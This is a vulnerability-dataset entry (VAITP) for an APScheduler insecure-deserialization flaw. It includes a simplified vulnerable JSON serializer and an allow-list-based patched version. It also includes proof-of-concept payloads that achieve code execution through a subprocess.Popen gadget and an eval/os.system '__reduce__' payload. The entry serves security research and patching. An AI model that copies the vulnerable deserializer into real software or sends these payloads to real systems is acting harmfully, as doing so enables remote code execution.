VAITP Dataset

← Back to the dataset

CVE-2026-31072

APScheduler JSON/CBOR serializers allow RCE via insecure deserialization.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

The JSONSerializer and CBORSerializer in APScheduler (all versions including 3.10.x and 4.0.0a5) are vulnerable to Remote Code Execution (RCE) via Insecure Deserialization. The unmarshal_object function allows for arbitrary class instantiation and state injection by dynamically importing modules and calling __setstate__ on any class available in the Python environment. An attacker can exploit this by submitting a specially crafted JSON or CBOR payload to an application using these serializers

CVSS base score
9.8
Published
2026-05-19
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
APScheduler
Fixed by upgrading
Yes

Solution

Upgrade APScheduler to version 3.10.2 (for the 3.x series) or 4.0.0a6 (for the 4.x series).

Vulnerable code sample

import json
from importlib import import_module
import os

# This class represents the vulnerable JSONSerializer found in older APScheduler versions.
# The vulnerability lies in the `unmarshal_object` method, which dynamically
# imports and instantiates any class specified in the JSON payload, along
# with its state or constructor arguments.

class VulnerableJSONSerializer:

    def loads(self, obj_s):
        """Deserializes a JSON document."""
        return json.loads(obj_s, object_hook=self.unmarshal_object)

    def unmarshal_object(self, obj_dict):
        """The vulnerable object hook that enables arbitrary code execution."""
        if '__class__' in obj_dict:
            class_path = obj_dict.pop('__class__')
            module_name, class_name = class_path.rsplit('.', 1)
            
            # Dynamically import the module specified by the attacker
            module = import_module(module_name)
            
            # Get the class specified by the attacker
            cls = getattr(module, class_name)
            
            # The following logic attempts to instantiate the class.
            # This is the core of the RCE vulnerability.
            # An attacker can specify a class like 'subprocess.Popen'
            # and pass constructor arguments to execute a command.

            # Simplified representation of the vulnerable instantiation logic
            if hasattr(cls, '__init__'):
                instance = cls(**obj_dict)
                return instance

        return obj_dict

# --- Demonstration of the exploit ---

# 1. An attacker crafts a malicious JSON payload.
# This payload instructs the serializer to import 'os' and call the 'system' function.
# Note: For this to work with 'os.system', the vulnerable code would need to
# handle function calls, which some deserializers do. A more common gadget
# for class-based deserialization is `subprocess.Popen`.
malicious_payload = """
{
    "__class__": "subprocess.Popen",
    "args": ["touch", "/tmp/pwned"]
}
"""

# 2. The application uses the vulnerable serializer to process the payload.
serializer = VulnerableJSONSerializer()

# 3. The `unmarshal_object` method is called during deserialization,
# which executes the command specified in the payload.
# In this case, it creates an empty file at `/tmp/pwned`.
# The presence of this file after execution proves the RCE.
deserialized_object = serializer.loads(malicious_payload)

Patched code sample

import json
from typing import Any, Dict, Set

# Define placeholder classes to make the example self-contained.
# In the actual library, these would be the real APScheduler classes.
class DateTrigger:
    def __setstate__(self, state): pass
class IntervalTrigger:
    def __setstate__(self, state): pass
class JobInfo:
    def __setstate__(self, state): pass

# Define a custom exception to make the example self-contained.
class DeserializationError(Exception):
    pass

class FixedBaseSerializer:
    """
    This class represents the fixed version of the serializer, which uses an
    allow-list for deserialization to prevent arbitrary class instantiation.
    """
    __slots__ = '_deserializable_classes'

    def __init__(self):
        # The allow-list is created on initialization.
        self._deserializable_classes = {
            f'{cls.__module__}.{cls.__name__}': cls
            for cls in self.get_deserializable_classes()
        }

    @property
    def deserializable_classes(self) -> Dict[str, type]:
        return self._deserializable_classes

    def get_deserializable_classes(self) -> Set[type]:
        """
        Defines the allow-list of classes that are safe to deserialize.
        The vulnerability was that any class could be dynamically imported.
        """
        return {
            DateTrigger,
            IntervalTrigger,
            JobInfo
        }

    def unmarshal_object(self, data: Dict[str, Any]) -> Any:
        """
        The fixed unmarshal_object function. It looks up the class from a
        pre-defined allow-list instead of dynamically importing it from the payload.
        """
        classpath = data.get('__class__')
        if not isinstance(classpath, str):
            raise DeserializationError('The value of "__class__" must be a string')

        # Secure: Look up the class in the pre-approved dictionary.
        cls = self.deserializable_classes.get(classpath)
        if cls is None:
            # This is the core of the fix: if the class is not in the allow-list,
            # deserialization is denied, preventing RCE.
            raise DeserializationError(
                f'Could not deserialize object of type {classpath}: '
                f'class not found in deserializable_classes')

        instance = cls.__new__(cls)
        if '__state__' in data:
            instance.__setstate__(data['__state__'])

        return instance

class JSONSerializer(FixedBaseSerializer):
    """A simplified JSON serializer demonstrating the fix."""
    def deserialize(self, payload: bytes) -> Any:
        def custom_decode(obj):
            if '__class__' in obj:
                return self.unmarshal_object(obj)
            return obj

        try:
            return json.loads(payload, object_hook=custom_decode)
        except (TypeError, ValueError) as e:
            raise DeserializationError from e

Payload

{
    "__reduce__": [
        "eval",
        [
            "__import__('os').system('touch /tmp/pwned')"
        ]
    ]
}

Cite this entry

@misc{vaitp:cve202631072,
  title        = {{APScheduler JSON/CBOR serializers allow RCE via insecure deserialization.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31072},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31072/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::